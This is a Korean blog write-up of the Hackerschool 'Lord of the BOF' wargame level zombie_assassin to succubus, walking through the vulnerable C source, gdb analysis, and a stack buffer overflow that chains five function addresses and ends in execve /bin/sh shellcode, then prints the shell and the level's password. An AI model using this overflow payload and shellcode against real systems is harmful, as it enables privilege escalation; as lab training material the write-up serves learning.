[lob] 해커스쿨 zombie_assassin -> succubus 풀이

l 해커스쿨 zombie_assassin 풀이

실행 환경 : VMware Workstation Pro, Red Hat Linux 6.2

 

** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **


 

 

 

 

 

zombie_assassin 문제의 아이디인   zombie_assassin 와 password인    no place to hide  을 입력하여 zombie_assassin의 유저로 접속합니다.

 

 

 

[zombie_assassin@localhost zombie_assassin]$ cat succubus.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - succubus
        - calling functions continuously
*/

#include  <stdio.h>
#include  <stdlib.h>
#include  <dumpcode.h>

// the inspector
int check = 0;

void MO(char *cmd)
{
        if(check != 4)
                exit(0);

        printf("welcome to the MO!\n");

        // olleh!
        system(cmd);
}

void YUT(void)
{
        if(check != 3)
                exit(0);

        printf("welcome to the YUT!\n");
        check = 4;
}

void GUL(void)
{
        if(check != 2)
                exit(0);

        printf("welcome to the GUL!\n");
        check = 3;
}

void GYE(void)
{
        if(check != 1)
                exit(0);

        printf("welcome to the GYE!\n");
        check = 2;
}

void DO(void)
{
        printf("welcome to the DO!\n");
        check = 1;
}

main(int argc, char *argv[])
{
        char buffer[40];
        char *addr;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // you cannot use library
        if(strchr(argv[1], '\x40')){
                printf("You cannot use library\n");
                exit(0);
        }

        // check address
        addr = (char *)&DO;
        if(memcmp(argv[1]+44, &addr, 4) != 0){
                printf("You must fall in love with DO\n");
                exit(0);
        }

        // overflow!
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // stack destroyer
        // 100 : extra space for copied argv[1]
        memset(buffer, 0, 44);
        memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));

        // LD_* eraser
        // 40 : extra space for memset function
        memset(buffer-3000, 0, 3000-40);
}

 

 

 

/home/zombie_assassin 하위에 있는 succubus.c 코드를 분석해보겠습니다.

 

1. argc는 2 이상이어야 합니다.

2. strstr은 문자열 비교 함수입니다. 일치하는 문자열이 있다면 그 문자열로 시작하는 문자열의 포인터를 반환합니다. 따라서 argv[1]에는 \x40과 일치하는 문자가 있어서는 안 됩니다. 즉 공유 라이브러리를 사용할 수 없습니다.

3. addr은 DO 함수의 주소입니다. return 부분이 DO의 주소와 일치해야 합니다.

4. 도, 개, 걸, 윷, 모 순서대로 함수가 불려야 합니다.

5. buffer + sfp는 0으로 초기화됩니다.

6. return 이후 100byte를 제외한 모든 부분이 다 0으로 초기화됩니다. 즉 사용할 수 있는 부분은 return 부분과 그 뒤 100byte입니다.

7. buffer - 3000부터 2,960byte를 0으로 만들어줍니다.

8. MO에서는 인자로 받은 *cmd를 system 함수로 실행시켜줍니다.

 

코드 분석 결과 도, 개, 걸, 윷, 모를 차례대로 실행시켜준 뒤 모에 인자로 셸 코드를 넘겨주면 될 것 같습니다. 함수들을 실행시켜주기 위해서 각 함수의 시작 주소를 알아야 합니다. gdb를 통해 찾아보겠습니다.

 

 

[zombie_assassin@localhost zombie_assassin]$ cp succubus zombie_assassin

[zombie_assassin@localhost zombie_assassin]$ gdb zombie_assassin
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x8048808 <main>:
:       push   %ebp 
0x8048809 <main+1>:     mov    %esp,%ebp
0x804880b <main+3>:     sub    $0x2c,%esp 
...
0x80488a9 <main+161>:   lea    0xffffffd8(%ebp),%eax
0x80488ac <main+164>:   push   %eax
0x80488ad <main+165>:   call   0x804847c <strcpy>
...
(gdb) disas DO
Dump of assembler code for function DO:
0x80487ec : push   %ebp

(gdb) disas GYE
Dump of assembler code for function GYE:
0x80487bc :        push   %ebp

(gdb) disas GUL
Dump of assembler code for function GUL:
0x804878c :        push   %ebp

(gdb) disas YUT
Dump of assembler code for function YUT:
0x804875c :        push   %ebp

(gdb) disas MO
Dump of assembler code for function MO:
0x8048724 : push   %ebp

 

 

 

succubus 파일을 복사해 zombie_assassin 이름의 파일을 하나 생성하고 gdb로 분석해보았습니다. buffer는 ebp - 40부터 시작되고, 도(0x80487ec), 개(0x80487bc), 걸(0x804878c), 윷(0x804875c), 모(0x8048724)의 주소를 알 수 있습니다.

 

문제는 앞에서 풀었던 darkknight와 비슷한 느낌으로 풀었습니다. 아래 그림을 보며 자세히 설명하겠습니다.

 

 

 

1. 우선 코드에 따라 main의 return에 DO의 주소를 넣어주어야 합니다.

2. DO의 주소를 넣으면 +4byte는 DO의 return이 될 것입니다.

3. DO의 return 부분에 GYE의 주소를 넣습니다. 그럼 DO가 끝나고, GYE가 실행될 것입니다. 그리고 +4byte는 GYE의 return이 될 것입니다.

4. GUL과 YUT도 마찬가지입니다. GYE가 끝나면 return에 GUL의 주소가 있기 때문에 GUL이 실행될 것입니다.

5. YUT의 return에 MO의 주소를 넣어줍니다. 그럼 +4byte는 MO의 return이 될 것이고, MO는 파라미터가 있기 때문에 +8byte는 MO에 전달되는 인자가 들어갑니다. 따라서 +8byte에 Shell Code를 +4byte 즉, return 부분에 셸 코드의 주소를 넣어줍니다. 그럼 MO가 종료되면서 Shell Code를 실행할 것입니다.

 

대충 페이로드를 구성해보면 다음과 같습니다.

A*44  | DO의 주소 |  GYE의 주소 | GUL의 주소 | YUT의 주소 | MO의 주소 | 셸 코드의 주소 | 셸 코드

 

그리고 return 이후 100byte의 공간만 유효하기 때문에  100에서 GYE의 주소 + GUL의 주소 + YUT의 주소 + MO의 주소 +  + 셸 코드 주소를 한 값을 빼주어 셸 코드와 \x90을 채워주어야 합니다.

 

 

 

(gdb) b *main+170
Breakpoint 1 at 0x80488b2
(gdb) r `python -c 'print "\x90"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"BBBB"'`
Starting program: /home/zombie_assassin/zombie_assassin `python -c 'print "\x90"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"BBBB"'`

Breakpoint 1, 0x80488b2 in main ()
(gdb) x/100x $esp
0xbffffa44:     0xbffffa50      0xbffffbdf      0x080487ec      0x90909090
0xbffffa54:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffa64:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffa74:     0x90909090      0x90909090      0x080487ec      0x080487bc
0xbffffa84:     0x0804878c      0x0804875c      0x08048724      0x41414141
0xbffffa94:     0x42424242      0x00000000      0x080484b1      0x08048808
0xbffffaa4:     0x00000002      0xbffffac4      0x0804839c      0x0804894c
0xbffffab4:     0x4000ae60      0xbffffabc      0x40013e90      0x00000002

 

 

 

빨간색 부분이 셸 코드 주소가 들어갈 부분입니다. 시작 주소는 0xbffffa94라는 것을 알 수 있습니다. 그리고 100에서 4 + 4 + 4 + 4 + 4를 빼주면 80이고, 25byte의 셸 코드를 사용할 것이므로 80에서 25를 빼준 값을 \x90으로 채워주면 됩니다. 페이로드를 구성해보겠습니다.

| 페이로드

./zombie_assassin `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"\x04\xfa\xff\xbf"+"\x90"*55+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

 

 

[zombie_assassin@localhost zombie_assassin]$ bash2 
[zombie_assassin@localhost zombie_assassin]$ ./zombie_assassin `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"\x04\xfa\xff\xbf"+"\x90"*55+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA켌\$úÿ¿1ÀPh//shh/bin‰ãPS‰á‰Â°
                                                                          Í€
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
Segmentation fault (core dumped)

 

 

 

위의 페이로드를 넣으니 core dumped가 떴습니다. 정확한 주소를 찾기 위해 core 파일을 분석하겠습니다.

 

 

 

[zombie_assassin@localhost zombie_assassin]$ gdb -c core
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux".
Core was generated by `                                                                              '.
Program terminated with signal 11, Segmentation fault.
#0  0xbffffa04 in ?? ()

(gdb) x/20x $esp-40
0xbffffa2c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffa3c:     0x40013ed0      0xbffffa4c      0x08048756      0x90909090
0xbffffa4c:     0x00000000      0xbffffa04      0x90909090      0x90909090

 

 

 

core 파일을 통해 셸 코드의 정확한 시작 지점이 0xbffffa54라는 것을 알 수 있습니다. 다시 위의 페이로드에서 셸 코드 주소만 바꾸어 실행시켜보겠습니다.

 

 

 

[zombie_assassin@localhost zombie_assassin]$ ./zombie_assassin `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"\x54\xfa\xff\xbf"+"\x90"*55+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA켌\$Túÿ¿1ÀPh//shh/bin‰ãPS‰á‰Â°
                                                                           Í€
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
bash$

[zombie_assassin@localhost zombie_assassin]$ rm zombie_assassin
[zombie_assassin@localhost zombie_assassin]$ ln -s succubus zombie_assassin
[zombie_assassin@localhost zombie_assassin]$ ./zombie_assassin `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"\x54\xfa\xff\xbf"+"\x90"*55+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA켌\$Túÿ¿1ÀPh//shh/bin‰ãPS‰á‰Â°
                                                                           Í€
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
bash$ id
uid=516(zombie_assassin) gid=516(zombie_assassin) euid=517(succubus) egid=517(succubus) groups=516(zombie_assassin)
bash$ my-pass
euid = 517
here to stay
 

 

 

 

zombie_assassin 파일을 실행한 결과 셸 취득을 했습니다. 기존의 파일을 지우고, 심볼릭 링크를 이용하여 다시 zombie_assassin이라는 이름으로 파일을 생성해주었습니다. 그리고 다시 실행하니 succubus 계정을 획득하였습니다. my-pass를 통해 succubus 계정의 password를 찾았습니다.

 

 

 

l succubus 비밀번호

더보기

euid = 517 
here to stay 

 

이 글을 공유하기

댓글

Designed by JB FACTORY